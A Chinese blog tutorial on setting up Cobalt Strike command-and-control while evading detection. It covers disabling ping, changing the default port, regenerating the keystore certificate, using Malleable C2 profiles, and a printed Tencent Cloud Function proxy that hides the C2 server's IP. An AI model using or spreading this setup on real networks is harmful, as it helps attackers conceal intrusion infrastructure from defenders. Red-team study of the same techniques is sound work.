cs上线与流量隐匿

发布于 2022-07-14  693 次阅读


cs详解

这次想写一下cs的上线和流量隐匿,因为自己已经操作过三次了,但是每一次都要查资料,查一些东西,因此就想着记录一下。

首先我们需要一个cs和一台云主机

服务器禁ping

首先说一条用处不大,但是有比没有好的服务器禁ping

echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all

特征修改

在上线前我们需要改一下cs的默认端口,因为50050端口也是一种特征,存在被标记的可能。这个端口就随便改了,尽量改到高端口,比如65535这种。它在teamserver文件里面

然后就需要去修改一下证书

默认我们不配置CS证书时,使用的是CS自带的证书,先不说为什么要修改,先看看默认证书内容(之前修改过了就找不到原证书了,反正就是特征很明显)

使用keytool.exe【电脑如果有java环境,是自带的】打开,

keytool -list -v -keystore cobaltstrike.store

 需要输入口令,默认情况是123456,如果不是123456,则可以尝试打开teamserver文件,查看

可以尝试一下,不知道,密码也没关系,后面我们需要自己生成。

原始的证书肯定会被查杀。

因此就需要我们自己生成证书了。

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias SuanSuan -dname "CN=xxx, OU=xxx, O=xxx, L=xxx, S=OO, C=OO"

 解释一下什么各参数的意思:

CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)
其中cobaltstrike.store为新生成的keystore文件,-alias 指定别名,-storepass pass 和 -keypass pass 指定密钥,-keyalg RSA 指定主体公共密钥算法,-dname 指定所有者信

 根据上面的信息,我们可以自己生成一个特有的证书,防止之前的证书特征,被查杀。

如果在cs的根目录创建的话需要先把原证书删了,否则会被追加写入

生成好之后可以查看我们的证书

已经看不到cs相关信息了

流量隐匿

CS可以通过自定义配置文件实现流量的伪装

在github上面已经有了很多优秀的项目

  • https://github.com/rsmudge/Malleable-C2-Profiles
  • https://github.com/threatexpress/malleable-c2

上面的都是写好了的,如果需要自己重写一个或者想修改一下的话推荐看看官方文档

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm#_Toc65482835

这里就不做过多的讲解,在自己编写配置文件的时候需要注意profile 文件将参数括在双引号中,而不是单引号中。例如:
正确: set useragent "SOME AGENT"; 
错误: set useragent 'SOME AGENT';

在编译完成后可以用./c2lint 检测

这一篇文章也可以看看

  • https://xz.aliyun.com/t/2796

主机地址隐匿

对于主机地址隐匿来说,最终都是通过反向代理的思想来实现,无论是nginx反代还是云函数,或者是cdn代理,原理都是这样

云函数代理

这里我用腾讯云函数来做示例

首先你需要一个腾讯云账号,在腾讯云中找到云函数的控制台

点击新建

然后选择从头开始

直接下滑点完成,创建成功后点跳转

点击函数代码

在编译器中粘贴以下代码

# -*- coding: utf8 -*-
import json, requests, base64


def main_handler(event, context):
    C2 = 'https://ip:port'  # 这里可以使用 HTTP、HTTPS~下角标~ 
    path = event['path']
    headers = event['headers']
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2 + path, headers=headers, verify=False)
    else:
        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
        print(resp.headers)
        print(resp.content)
    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]}
    return response

如果存在包不存在可以在终端里面用pip3 install 添加

在完成函数部署后点击触发管理

然后选择api网关触发

点击提交后在进入触发器管理修改路径为根目录\

最后访问路径看界面就可以看到部署成功了

然后在cs中创建监听器的时候直接用触发器的域名即可

看见上线的主机ip不唯一代表成功

cdn代理

cdn代理也是一种反代思想,需要的是一个不需要备份的域名,可以在freedom申请一个,通常tk后缀都是免费的,同时网上现存的方法比较多,本篇就不再赘述